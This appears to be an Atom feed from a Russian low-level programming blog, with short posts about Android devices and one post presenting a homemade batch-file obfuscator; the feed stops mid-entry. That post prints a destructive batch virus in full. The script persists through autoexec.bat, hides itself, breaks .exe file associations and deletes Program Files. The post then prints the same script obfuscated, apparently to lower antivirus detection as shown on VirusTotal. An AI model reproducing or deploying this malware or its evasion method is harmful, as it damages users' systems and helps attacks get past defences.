<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-4770217640648717650</id><updated>2025-09-01T23:39:25.204+03:00</updated><category term="Жизнь и всякая хрень"/><category term="Статьи"/><category term="Разные программки"/><category term="Видео"/><category term="Заметки"/><category term="Assembler"/><category term="C\DELPHI"/><title type='text'>Low level programming blog</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://bydood.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://bydood.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>DooD</name><uri>http://www.blogger.com/profile/15924482264023722266</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLuuG2Je71LnNqR-LrzvojPS25ljvxgbYelR2m2-eXJObjSjMnb-VTl5MJ6jOTJ3tea_dQDDgpqHRstELXE2cPOlAmzVsihMMTARS7iTD4UontXEwNk-6DReyFU6P14Q/s220/15072011561.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>99</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-4770217640648717650.post-973764846754631226</id><published>2017-08-07T18:17:00.001+03:00</published><updated>2017-08-07T18:18:43.295+03:00</updated><title type='text'>Пишу кое что не хорошее)</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_YKUhgogqBe7wNyuljMDlqqz1PXCpIG43NWpe7xzyhCPLkf0hTHh3pmqlDOU55fahq5adPBVpfk7P19FvPobR9z8towypZsUVE_89Lz7RmPxnpTaDB-r5KuD2Gba6aiq0h0V_hkYqRgaf/s1600/%25D0%2591%25D0%25B5%25D0%25B7%25D1%258B%25D0%25BC%25D1%258F%25D0%25BD%25D0%25BD%25D1%258B%25D0%25B9.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;768&quot; data-original-width=&quot;1360&quot; height=&quot;361&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_YKUhgogqBe7wNyuljMDlqqz1PXCpIG43NWpe7xzyhCPLkf0hTHh3pmqlDOU55fahq5adPBVpfk7P19FvPobR9z8towypZsUVE_89Lz7RmPxnpTaDB-r5KuD2Gba6aiq0h0V_hkYqRgaf/s640/%25D0%2591%25D0%25B5%25D0%25B7%25D1%258B%25D0%25BC%25D1%258F%25D0%25BD%25D0%25BD%25D1%258B%25D0%25B9.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span id=&quot;goog_2104516928&quot;&gt;&lt;/span&gt;ондроед хули ты так сложен)&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://bydood.blogspot.com/feeds/973764846754631226/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://bydood.blogspot.com/2017/08/blog-post.html#comment-form' title='Комментарии: 3'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/973764846754631226'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/973764846754631226'/><link rel='alternate' type='text/html' href='http://bydood.blogspot.com/2017/08/blog-post.html' title='Пишу кое что не хорошее)'/><author><name>DooD</name><uri>http://www.blogger.com/profile/15924482264023722266</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLuuG2Je71LnNqR-LrzvojPS25ljvxgbYelR2m2-eXJObjSjMnb-VTl5MJ6jOTJ3tea_dQDDgpqHRstELXE2cPOlAmzVsihMMTARS7iTD4UontXEwNk-6DReyFU6P14Q/s220/15072011561.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_YKUhgogqBe7wNyuljMDlqqz1PXCpIG43NWpe7xzyhCPLkf0hTHh3pmqlDOU55fahq5adPBVpfk7P19FvPobR9z8towypZsUVE_89Lz7RmPxnpTaDB-r5KuD2Gba6aiq0h0V_hkYqRgaf/s72-c/%25D0%2591%25D0%25B5%25D0%25B7%25D1%258B%25D0%25BC%25D1%258F%25D0%25BD%25D0%25BD%25D1%258B%25D0%25B9.png" height="72" width="72"/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4770217640648717650.post-3864460815896499903</id><published>2014-10-28T17:26:00.002+02:00</published><updated>2014-10-28T17:26:25.073+02:00</updated><title type='text'></title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
пилить dos-like ось.&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://bydood.blogspot.com/feeds/3864460815896499903/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://bydood.blogspot.com/2014/10/dos-like.html#comment-form' title='Комментарии: 9'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/3864460815896499903'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/3864460815896499903'/><link rel='alternate' type='text/html' href='http://bydood.blogspot.com/2014/10/dos-like.html' title=''/><author><name>DooD</name><uri>http://www.blogger.com/profile/15924482264023722266</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLuuG2Je71LnNqR-LrzvojPS25ljvxgbYelR2m2-eXJObjSjMnb-VTl5MJ6jOTJ3tea_dQDDgpqHRstELXE2cPOlAmzVsihMMTARS7iTD4UontXEwNk-6DReyFU6P14Q/s220/15072011561.jpg'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4770217640648717650.post-4271156038207637553</id><published>2014-09-26T13:40:00.001+03:00</published><updated>2014-09-26T13:40:07.390+03:00</updated><title type='text'></title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNSuoLwugN5ZX0okZt1WtxTGcurf_5nIRDHKbIAtkLec-JDhUI_TOuoNu7e09Ff_IpcNCH1v5rOZDWbNfOPveChRIh-xN0H_9-SIB0H_kzazZtZF_aG9lJr0xQ0DsWm9HKiFv_Bollv8NH/s1600/_W-v3NYZRpk.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNSuoLwugN5ZX0okZt1WtxTGcurf_5nIRDHKbIAtkLec-JDhUI_TOuoNu7e09Ff_IpcNCH1v5rOZDWbNfOPveChRIh-xN0H_9-SIB0H_kzazZtZF_aG9lJr0xQ0DsWm9HKiFv_Bollv8NH/s1600/_W-v3NYZRpk.jpg&quot; height=&quot;320&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
kitkat nexus one ;)&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://bydood.blogspot.com/feeds/4271156038207637553/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://bydood.blogspot.com/2014/09/blog-post_26.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/4271156038207637553'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/4271156038207637553'/><link rel='alternate' type='text/html' href='http://bydood.blogspot.com/2014/09/blog-post_26.html' title=''/><author><name>DooD</name><uri>http://www.blogger.com/profile/15924482264023722266</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLuuG2Je71LnNqR-LrzvojPS25ljvxgbYelR2m2-eXJObjSjMnb-VTl5MJ6jOTJ3tea_dQDDgpqHRstELXE2cPOlAmzVsihMMTARS7iTD4UontXEwNk-6DReyFU6P14Q/s220/15072011561.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNSuoLwugN5ZX0okZt1WtxTGcurf_5nIRDHKbIAtkLec-JDhUI_TOuoNu7e09Ff_IpcNCH1v5rOZDWbNfOPveChRIh-xN0H_9-SIB0H_kzazZtZF_aG9lJr0xQ0DsWm9HKiFv_Bollv8NH/s72-c/_W-v3NYZRpk.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4770217640648717650.post-4439002584457139331</id><published>2014-09-21T16:57:00.001+03:00</published><updated>2014-09-21T16:57:40.509+03:00</updated><title type='text'></title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi68WmN4eUHOyo2L1KDz2YSEwjY-nqH4r8UFKCiaI7w0TW-d4IEx8o5BaZubY1wk8K2_CtciV5CIT8b2sazqmfTYTUOi4SRrTAIkIUZg-tC0o0vOx2c4PmP1WzGs7uD_JbsObK0j1K6kbu6/s1600/zlyIXpc7ilw.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi68WmN4eUHOyo2L1KDz2YSEwjY-nqH4r8UFKCiaI7w0TW-d4IEx8o5BaZubY1wk8K2_CtciV5CIT8b2sazqmfTYTUOi4SRrTAIkIUZg-tC0o0vOx2c4PmP1WzGs7uD_JbsObK0j1K6kbu6/s1600/zlyIXpc7ilw.jpg&quot; height=&quot;320&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
первый опыт с MTK 6575 это не телефон, это просто какой то пиздец)Но в итоге я смог;)&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://bydood.blogspot.com/feeds/4439002584457139331/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://bydood.blogspot.com/2014/09/blog-post.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/4439002584457139331'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/4439002584457139331'/><link rel='alternate' type='text/html' href='http://bydood.blogspot.com/2014/09/blog-post.html' title=''/><author><name>DooD</name><uri>http://www.blogger.com/profile/15924482264023722266</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLuuG2Je71LnNqR-LrzvojPS25ljvxgbYelR2m2-eXJObjSjMnb-VTl5MJ6jOTJ3tea_dQDDgpqHRstELXE2cPOlAmzVsihMMTARS7iTD4UontXEwNk-6DReyFU6P14Q/s220/15072011561.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi68WmN4eUHOyo2L1KDz2YSEwjY-nqH4r8UFKCiaI7w0TW-d4IEx8o5BaZubY1wk8K2_CtciV5CIT8b2sazqmfTYTUOi4SRrTAIkIUZg-tC0o0vOx2c4PmP1WzGs7uD_JbsObK0j1K6kbu6/s72-c/zlyIXpc7ilw.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4770217640648717650.post-6421658093820881061</id><published>2014-08-24T17:01:00.002+03:00</published><updated>2014-08-24T17:01:12.370+03:00</updated><title type='text'></title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJi7HLaaiIAQBendq16g8kDl_vdMQc5-76i7OdAZtRtchwa4KAmy3XcGDgL-GBJgR7NGEgDu4Kze20dgQyO0Pa6U4zD0fUj8PRkLJqGPoI5ivdIYGujaWjYKu1e65AOjctzkyEKYazZ9et/s1600/IMG_20140818_143635.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJi7HLaaiIAQBendq16g8kDl_vdMQc5-76i7OdAZtRtchwa4KAmy3XcGDgL-GBJgR7NGEgDu4Kze20dgQyO0Pa6U4zD0fUj8PRkLJqGPoI5ivdIYGujaWjYKu1e65AOjctzkyEKYazZ9et/s1600/IMG_20140818_143635.jpg&quot; height=&quot;240&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://bydood.blogspot.com/feeds/6421658093820881061/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://bydood.blogspot.com/2014/08/blog-post.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/6421658093820881061'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/6421658093820881061'/><link rel='alternate' type='text/html' href='http://bydood.blogspot.com/2014/08/blog-post.html' title=''/><author><name>DooD</name><uri>http://www.blogger.com/profile/15924482264023722266</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLuuG2Je71LnNqR-LrzvojPS25ljvxgbYelR2m2-eXJObjSjMnb-VTl5MJ6jOTJ3tea_dQDDgpqHRstELXE2cPOlAmzVsihMMTARS7iTD4UontXEwNk-6DReyFU6P14Q/s220/15072011561.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJi7HLaaiIAQBendq16g8kDl_vdMQc5-76i7OdAZtRtchwa4KAmy3XcGDgL-GBJgR7NGEgDu4Kze20dgQyO0Pa6U4zD0fUj8PRkLJqGPoI5ivdIYGujaWjYKu1e65AOjctzkyEKYazZ9et/s72-c/IMG_20140818_143635.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4770217640648717650.post-7328731128205053217</id><published>2014-02-23T01:21:00.001+02:00</published><updated>2014-02-23T11:17:23.211+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Разные программки"/><title type='text'>batch obfuscator\ шифрование батников.</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Сел за комп вот.Еще раньше видел деобфускатор батников у kaimi, решил вот тут навоять наоборот обфускатор.Что это собсно за хрень и зачем она нужна.Ну если по простому, есть батник вида:&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: red;&quot;&gt;@echo off&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;echo virus loading&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;date 13.09.96&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;if exist c:ski.bat goto abc&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;copy %0 c:ski.bat&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;attrib +h c:ski.bat&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;echo c:ski.bat &amp;gt;&amp;gt;autoexec.bat&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;:abc&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;md pridurok&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;md luzer&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;md durak&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;md lamer&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;label e: pridurok&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;assoc .exe=.mp3&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;del c:program files/q&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;echo virus load&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
(скопирован какой-то вирус с паблика,для наглядности)&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
а превращается он в батник вида&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;rem obfuscated by SBObD&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;set ggxjsg=a&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;set hoceoi=b&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;set uihzkj=c&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;set netnof=d&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;set swayur=e&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;set qfuyih=f&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;set klpucr=g&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;set pvktyh=h&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;set pizeyh=i&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;set wyawag=j&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;set gaxsek=k&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;set ixkqqn=l&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;set xzsbni=m&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;set enxxnj=n&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;set jmhjlz=o&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;set evwjoj=p&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;set uvgdpz=q&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;set ggkavs=r&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;set ybbhex=s&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;set ygwumb=t&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;set eqpncb=u&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;set gvncwi=v&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;set kklkqg=w&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;set tkedjs=x&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;set xzmksq=y&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;set jtoqia=z&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;%uihzkj%%ixkqqn%%ybbhex%&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;@%swayur%%uihzkj%%pvktyh%%jmhjlz% %jmhjlz%%qfuyih%%qfuyih%&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;%swayur%%uihzkj%%pvktyh%%jmhjlz% %gvncwi%%pizeyh%%ggkavs%%eqpncb%%ybbhex% %ixkqqn%%jmhjlz%%ggxjsg%%netnof%%pizeyh%%enxxnj%%klpucr%&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;%netnof%%ggxjsg%%ygwumb%%swayur% 13.09.96&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;%pizeyh%%qfuyih% %swayur%%tkedjs%%pizeyh%%ybbhex%%ygwumb% %uihzkj%:%ybbhex%%gaxsek%%pizeyh%.%hoceoi%%ggxjsg%%ygwumb% %klpucr%%jmhjlz%%ygwumb%%jmhjlz% %ggxjsg%%hoceoi%%uihzkj%&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;%uihzkj%%jmhjlz%%evwjoj%%xzmksq% %0 %uihzkj%:%ybbhex%%gaxsek%%pizeyh%.%hoceoi%%ggxjsg%%ygwumb%&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;%ggxjsg%%ygwumb%%ygwumb%%ggkavs%%pizeyh%%hoceoi% +%pvktyh% %uihzkj%:%ybbhex%%gaxsek%%pizeyh%.%hoceoi%%ggxjsg%%ygwumb%&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;%swayur%%uihzkj%%pvktyh%%jmhjlz% %uihzkj%:%ybbhex%%gaxsek%%pizeyh%.%hoceoi%%ggxjsg%%ygwumb% &amp;gt;&amp;gt;%ggxjsg%%eqpncb%%ygwumb%%jmhjlz%%swayur%%tkedjs%%swayur%%uihzkj%.%hoceoi%%ggxjsg%%ygwumb%&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;:%ggxjsg%%hoceoi%%uihzkj%&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;%xzsbni%%netnof% %evwjoj%%ggkavs%%pizeyh%%netnof%%eqpncb%%ggkavs%%jmhjlz%%gaxsek%&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;%xzsbni%%netnof% %ixkqqn%%eqpncb%%jtoqia%%swayur%%ggkavs%&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;%xzsbni%%netnof% %netnof%%eqpncb%%ggkavs%%ggxjsg%%gaxsek%&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;%xzsbni%%netnof% %ixkqqn%%ggxjsg%%xzsbni%%swayur%%ggkavs%&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;%ixkqqn%%ggxjsg%%hoceoi%%swayur%%ixkqqn% %swayur%: %evwjoj%%ggkavs%%pizeyh%%netnof%%eqpncb%%ggkavs%%jmhjlz%%gaxsek%&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;%ggxjsg%%ybbhex%%ybbhex%%jmhjlz%%uihzkj% .%swayur%%tkedjs%%swayur%=.%xzsbni%%evwjoj%3&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;%netnof%%swayur%%ixkqqn% %uihzkj%:%evwjoj%%ggkavs%%jmhjlz%%klpucr%%ggkavs%%ggxjsg%%xzsbni% %qfuyih%%pizeyh%%ixkqqn%%swayur%%ybbhex%/%uvgdpz%&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;%swayur%%uihzkj%%pvktyh%%jmhjlz% %gvncwi%%pizeyh%%ggkavs%%eqpncb%%ybbhex% %ixkqqn%%jmhjlz%%ggxjsg%%netnof%&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Это еще скажем простая обфускация, в батник можно добавить разного рода мусора, например так рандомное присвоение строк, или кучу запутанных goto. Однако я не стал этого делать, то шо нахер надо и так пашет)&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
а зачем надо вот:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiiwQUZoqX1DrxdWpwZNii7kuLN9EKvSScHl1HRrlfuPUf0xb5pVWgiPr9zHTX2oh_W_leJF2jeNTRq9Cb9o_0f5iXZeofQhbg3U_Drx1_UNuEGlGDqIVNjd9XBDGIUcXK0FtXqpcjy21L/s1600/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B9.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiiwQUZoqX1DrxdWpwZNii7kuLN9EKvSScHl1HRrlfuPUf0xb5pVWgiPr9zHTX2oh_W_leJF2jeNTRq9Cb9o_0f5iXZeofQhbg3U_Drx1_UNuEGlGDqIVNjd9XBDGIUcXK0FtXqpcjy21L/s1600/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B9.jpg&quot; height=&quot;155&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8RytkvvbGiIxjukkS2n3TOw6QII-eNy2nrUlRYLRJbBpyKMdXZ-1TuAcRWVFz1Cp0nyoPZFFiXXz3xzYY71W2oI0gAAR4ADFkuzN-2teX_vNoiPIy1KJLuU4HL4RFVvOsRziICjxdVkaE/s1600/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B92.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8RytkvvbGiIxjukkS2n3TOw6QII-eNy2nrUlRYLRJbBpyKMdXZ-1TuAcRWVFz1Cp0nyoPZFFiXXz3xzYY71W2oI0gAAR4ADFkuzN-2teX_vNoiPIy1KJLuU4HL4RFVvOsRziICjxdVkaE/s1600/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B92.jpg&quot; height=&quot;177&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
(этот же батник на ВТ)&lt;/div&gt;
&lt;div&gt;
хрень конечно беспонтовая, ну та пофиг я делфю не открывал сто лет уже)&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
